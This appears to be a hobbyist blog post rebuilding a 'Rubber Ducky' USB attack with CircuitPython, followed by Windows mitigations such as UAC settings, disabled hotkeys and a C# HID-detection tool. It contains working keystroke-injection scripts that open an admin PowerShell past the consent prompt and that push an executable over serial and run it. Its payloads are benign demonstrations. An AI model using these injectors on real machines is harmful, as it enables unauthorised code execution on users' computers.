Interesting security stuff: Why Adam Savage Won't Trust USB Keys
Yesterday I found and watched the YouTube video Why Adam Savage Won't Trust USB Keys and I thought this was fascinating. Remembering some
microcontroller stuff I once tinkered with, I thought I might try to mimic the USB stick behavior with a microcontroller I had laying about. And lo and behold, I got it working so that I could
start a PowerShell session in Admin mode and execute a script when plugging it in and it didn't take me long to do so, writing this article took me longer.
So I knew about HID and that a microcontroller could mimic this, thus I searched for that and found that CircuitPython would be the easiest way
due to it having a HID Library. So I downloaded the latest version of CircuitPython .U2f for the microcontroller and of the HID library in the library bundle.
I only copied the adafruit_hid library onto the microcontroller. I used Thonny as IDE.
I looked at some samples and in the end I came up with the following sample script as code.py:
import time
import board
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutUS(kbd)
time.sleep(2.0)
kbd.send(Keycode.WINDOWS, Keycode.R)
time.sleep(0.1)
layout.write('powershell -command "Start-Process PowerShell -Verb RunAs" \n')
time.sleep(1.5)
kbd.send(Keycode.LEFT_ARROW)
time.sleep(0.1)
kbd.send(Keycode.ENTER)
time.sleep(1.5)
layout.write('Write-Host "You have been hacked" \n')
time.sleep(0.5)
I did do some more PowerShell scripting at first, like the zipping of files they showed in the demo. But just as in the demo, I also got some red PowerShell errors in my script. I did notice
that when I watched the video, I thought that was funny, but I guess you need to know about PowerShell to notice that.
To have more access, I added starting PowerShell in admin mode, but then I got a popup with the
question if I would allow changes on my system. With keys I could allow this with the left arrow selecting the allow button and then pressing enter, so I added that to the script. Also if you don't
get a popup, doing left arrow and enter actions in a PowerShell window will not interfere with what follows and that is important.
I added some sleep time between actions to smoothen the operation. I also got strange behavior when I tested without having Thonny open, when starting clean. I figured out that this was due to that CircuitPython
by default has the file system exposed as USB drive and then Windows will show a popup about this and this interfered with the focus on the PowerShell window. Also this happend as I didn't
had the initial sleep action added to the script yet. So to solve this I added a boot.py file with the following instruction:
import storage
storage.disable_usb_drive()
I choose to only add a Write-Host script in the end, as it is only a proof of concept. But it is clear that such a method could potentially do any action a user can do on their computer.
There are limitations however (assuming no funerablities can be used), key strokes are typed in the active window that has focus, so removing focus from the window intended to be written to, will
mess up things. Everything must go as expected or there could be failure. Also there is no feedback only one way traffic of key strokes, although you can think of using wifi or bluetooth to control when and what actions are typed (or mouse actions)
the attacker must then be able to see the screen. So I guess this method can be quite error prone, but this still can be a viable way in. I really think it is a great way of selling security,
as it is impressive to see this in action.
So what about some mitigation? I didn't like that the script could open an admin PowerShell, so I found that there is a setting for that. This is in
User Account Control settings.
I didn't had it disabled as being my own admin, but the current level isn't enough to stop this kind of attack. You will need a security policy so that even an admin needs to "Prompt for credentials". So
I set the registry setting ConsentPromptBehaviorAdmin to 1 and now the admin mode attack is stopped. But this setting is for my situation, your situation could be different, and an attack can still focus on the non admin PowerShell,
as that has a better chance of not getting unexpected popup behavior. The following could be used to set this in the registry, altough there are multiple ways of making these settings, but I must say, it is a pretty annoying popup,
more so than the previous consent popup.
# Get the current value
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name ConsentPromptBehaviorAdmin
# Set the value (be sure to check the official documentation, don't just execute these kind of set commands ;-)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name ConsentPromptBehaviorAdmin -Value 1
To stop Windows key + R there are possibilities to disable all shortcuts or specified ones using policies. I added some PowerShell commands below and this worked fine for me (after reboot), no more
Windows key + R, but still available as a right click on the Windows menu icon in the task bar. No guarantee that this makes it fully secure, as such a rogue device might find other ways
to do things, remember the device can type and mouse move as the user can, this is just blocking the easy way in.
# Get the current value if it exists
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name DisabledHotkeys
# If there is a current value, add R to this value and use that instead of R in the underlying command. Again, don't just execute these kind of set commands ;-)
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name DisabledHotkeys -Value R
Have fun playing around with this... and I hope you learned something, I know I did.
Just a side note: from the comments on the YouTube video I found that the device used is called USB Rubber Ducky so search for that if you want to find out more.
I guess the usage of such a stick can be quite different from what is shown in the video, as a hacker can also use scripts themselves using such a tool, they can access these even if USB storage is blocked.
So remember that I only focused on the usage behavior they showed in the video. Also the Rubber Ducky seems to be much faster at typing than using this python library. It's so fast, that
I think this makes an attack much more potent by being able to inject and execute a large script, this script can run on the background and handle feedback like errors and may even use exploits to
elevate permission.
And another side note: if you think this is scary, what about a rouge AI Agent that can type and is able to process feedback and can change behavior accordingly?
Update: I found an easy work-a-round for not having the R key available
So maybe add the X as well to the disabled hotkeys. As you can see, and as I mentioned, there are multiple ways for an attacker to do things. This one is just a bit more error prone
as it assumes a certain position of this option in the Windows start button context menu. You could also use R instead of the arrows up for the English version of Windows, for me it is U (Uitvoeren)
for the Dutch UI. The position seems to be the same, so three arrows up seems most reliable.
kbd.send(Keycode.WINDOWS, Keycode.X)
time.sleep(0.1)
kbd.send(Keycode.UP_ARROW)
time.sleep(0.1)
kbd.send(Keycode.UP_ARROW)
time.sleep(0.1)
kbd.send(Keycode.UP_ARROW)
time.sleep(0.1)
kbd.send(Keycode.ENTER)
Additionally:
Windows key + E 5xTAB powershell.exe ENTER
Windows key + S powershell ENTER
Windows key powershell ENTER
And that last one isn't even a shortcut, so that would be my preferred choice (also you can use CTRL+SHIFT+ENTER to start in admin mode). There is also an option to use cmd instead of PowerShell and curl works there too. So plenty of options...
Because I found the subject interesting, I did some additional research on the subject. To get my samples a bit more interesting I wanted to present some more code,
as the samples above aren't that interesting from code perspectief. I thought about using base 64 encoding to add an executable into the attack, but
as my microcontroller with CircuitPython isn't that fast at typing, this wasn't viable for me. But that might be something that can be added to an attack.
There was also another idea I came up with. As I mentioned earlier "Also there is no feedback only one way traffic of key strokes", I started thinking
about if there are ways to have feedback to the microcontroller. One way of having keys output changed based on results of already executed code was using the Serial COM interface.
As I was working on this, I also thought about using an executable as part of the attack, as the serial communication can be done in bytes. So I added
this to my sample. Note that I am not that proficient in Python and using CircuitPython, so I hope the code is clean enough... Here is what I came up with:
import time
import board
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
import usb_cdc
import io
kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutUS(kbd)
f = open("Sample.exe", 'rb')
fileContents = f.read()
buf = io.BytesIO(fileContents).getvalue()
f.close()
time.sleep(1.0)
kbd.send(Keycode.WINDOWS)
time.sleep(0.5)
layout.write('powershell')
time.sleep(1.0)
kbd.send(Keycode.ENTER)
#kbd.send(Keycode.CONTROL, Keycode.SHIFT, Keycode.ENTER)
time.sleep(1.0)
#kbd.send(Keycode.LEFT_ARROW)
#kbd.send(Keycode.ENTER)
#time.sleep(1.5)
serialPort = usb_cdc.data
findcom = True
firstrun = True
connected = False
finished = False
while not finished:
if serialPort.in_waiting > 0: # we have an incomming message
cmd = serialPort.readline().decode().strip()
print("CMD: {}".format(cmd))
if cmd == "testone":
layout.write('Write-Host "Test One Succeeded!" \n')
time.sleep(2)
layout.write('$p.WriteLine("testtwo") \n')
if cmd == "testtwo":
layout.write('Write-Host "Test Two Succeeded!" \n')
layout.write('$p.Close() \n')
layout.write('$p.Dispose() \n')
finished = True
if cmd == "getFile":
length = len(buf)
serialPort.write(buf)
serialPort.flush()
layout.write('$data = [byte[]]::new({}) \n'.format(length))
layout.write('$p.Read($data, 0, {}) \n'.format(length))
time.sleep(0.2)
layout.write('Set-Content -Value $data -Path .\Sample.exe -Encoding Byte -NoNewline \n')
layout.write('.\Sample.exe \n')
layout.write('$p.WriteLine("testone") \n')
else:
if findcom:
layout.write('$ErrorActionPreference = "SilentlyContinue" \n')
layout.write('$com = [System.IO.Ports.SerialPort]::GetPortNames() | foreach { $s = New-Object System.IO.Ports.SerialPort $_; $s.ReadTimeout = 1500; try { $s.Open(); $s.WriteLine("comcheck"); $r = $s.ReadLine(); if ($r.StartsWith("YES")) { return $_ } } finally { $s.Close(); $s.Dispose() } } \n')
while findcom:
if serialPort.in_waiting > 0: # we have an incomming message
cmd = serialPort.readline().decode().strip()
print("CMD: {}".format(cmd))
if cmd == "comcheck":
serialPort.write("YES \n")
serialPort.flush()
findcom = False
else:
if firstrun:
layout.write('$p = New-Object System.IO.Ports.SerialPort $com,115200,None,8,one \n')
layout.write('$p.DtrEnable = $true \n')
layout.write('$p.Open() \n')
firstrun = False
if not connected and serialPort.connected:
layout.write('$p.WriteLine("getFile") \n')
connected = True
if connected and not serialPort.connected:
connected = False
print('Done...')
At first I started out using the COM4 port hardcoded, but as this might be different on other machines I had to figure out a way to get the COM port
used. So I added some PowerShell and Python code for that. I also created a small executable that I saved on the CircuitPython file system. To do that
I temporarily commented out the disable_usb_drive line in the boot.py. Also to add additional data serial support I had to update the boot.py that now looks like:
import storage, usb_cdc
storage.disable_usb_drive()
usb_cdc.enable(console=True, data=True)
So, in this proof of concept I show how to find the serial port used, how to send feedback to the microcontroller and receive a response based on that and how to send over an executable over the
serial port and execute it on the target machine. I think this sample is way more interesting than the earlier code I provided.
This sample uses the serial COM port, but using bluetooth (or maybe even wifi) might also be an option to give feedback and do additional communication with the microcontroller.
The output in the PowerShell window when I plug in the device now looks like this:
PS C:\Users\UserName> $ErrorActionPreference = "SilentlyContinue"
PS C:\Users\UserName> $com = [System.IO.Ports.SerialPort]::GetPortNames() | foreach { $s = New-Object System.IO.Ports.SerialPort $_; $s.ReadTimeout = 1500; try { $s.Open(); $s.WriteLine("comcheck"); $r = $s.ReadLine(); if ($r.StartsWith("YES")) { return $_ } } finally { $s.Close(); $s.Dispose() } }
PS C:\Users\UserName> $p = New-Object System.IO.Ports.SerialPort $com,115200,None,8,one
PS C:\Users\UserName> $p.DtrEnable = $true
PS C:\Users\UserName> $p.Open()
PS C:\Users\UserName> $p.WriteLine("getFile")
PS C:\Users\UserName> $data = [byte[]]::new(11264)
PS C:\Users\UserName> $p.Read($data, 0, 11264)
11264
PS C:\Users\UserName> Set-Content -Value $data -Path .\Sample.exe -Encoding Byte -NoNewline
PS C:\Users\UserName> .\Sample.exe
Hello UserName, you shouldn't have used this executable sample.
Lucky for you, I haven't added crap here...
Have a good one...
PS C:\Users\UserName> $p.WriteLine("testone")
PS C:\Users\UserName> Write-Host "Test One Succeeded!"
Test One Succeeded!
PS C:\Users\UserName> $p.WriteLine("testtwo")
PS C:\Users\UserName> Write-Host "Test Two Succeeded!"
Test Two Succeeded!
PS C:\Users\UserName> $p.Close()
PS C:\Users\UserName> $p.Dispose()
PS C:\Users\UserName>
Thinking about how to do an attack is quite interesting. But I also thought more about how to mitigate such an attack. For this I created a c# froms tray icon application for
myself. I have added three options and two scenario's when these options could be triggered. I will describe the ideas I came up with below:
Two scenario's are: 'new HID device is added' and 'Keyboard types faster than expected'. The options I came up with are: warn, lock screen and remove device.
So getting a warning as a toast message at least informs the user that something happened. Locking the screen results in the keystrokes not getting processed as expected.
And removing the device stops the device from functioning. Options can be switched on for each scenario. With typing beyond the speed limit I limited the removal of HID devices
to the not trusted ones and in the UI there is an option to trust devices.
To get new devices added I used WqlEventQuery on the Win32_DeviceChangeEvent, this is the fastest way. To get the current, and when the this event arrives also the added devices, I use ManagementObjectSearcher
filtered on HIDClass and after the change event check if there are any new HID devices. For locking the screen I added:
[DllImport("user32")]
public static extern void LockWorkStation();
For getting the speed of typing I used a sample Low-Level Keyboard Hook in C#
and changed that so I could get a speed and speeding event. At first I used a console version to see what speeds I should think of. My microcontroller typed at about max 64 keys per second,
when keeping a key pressed (like if you do backspace to remove some text) was max about 31 keys per second. So I use 1860 as the max per minute for now, as you don't want to lock the screen
when a user does some backspaces.
For removing the device(s) I do a call to pnputil.exe. I did try a bunch of different options, I preferred to disable the device,
but doing so on a newly inserted device didn't work. It did work when the device was reinserted, but we should also be able to do an action on a new device. So these are the things I currently added. As speeding will only be an after the
fact event, some code might already be written, so an attack could start with stopping the process (admin mode required) Get-Process -Name "[nameofprocess]" | Stop-Process if the process name is known.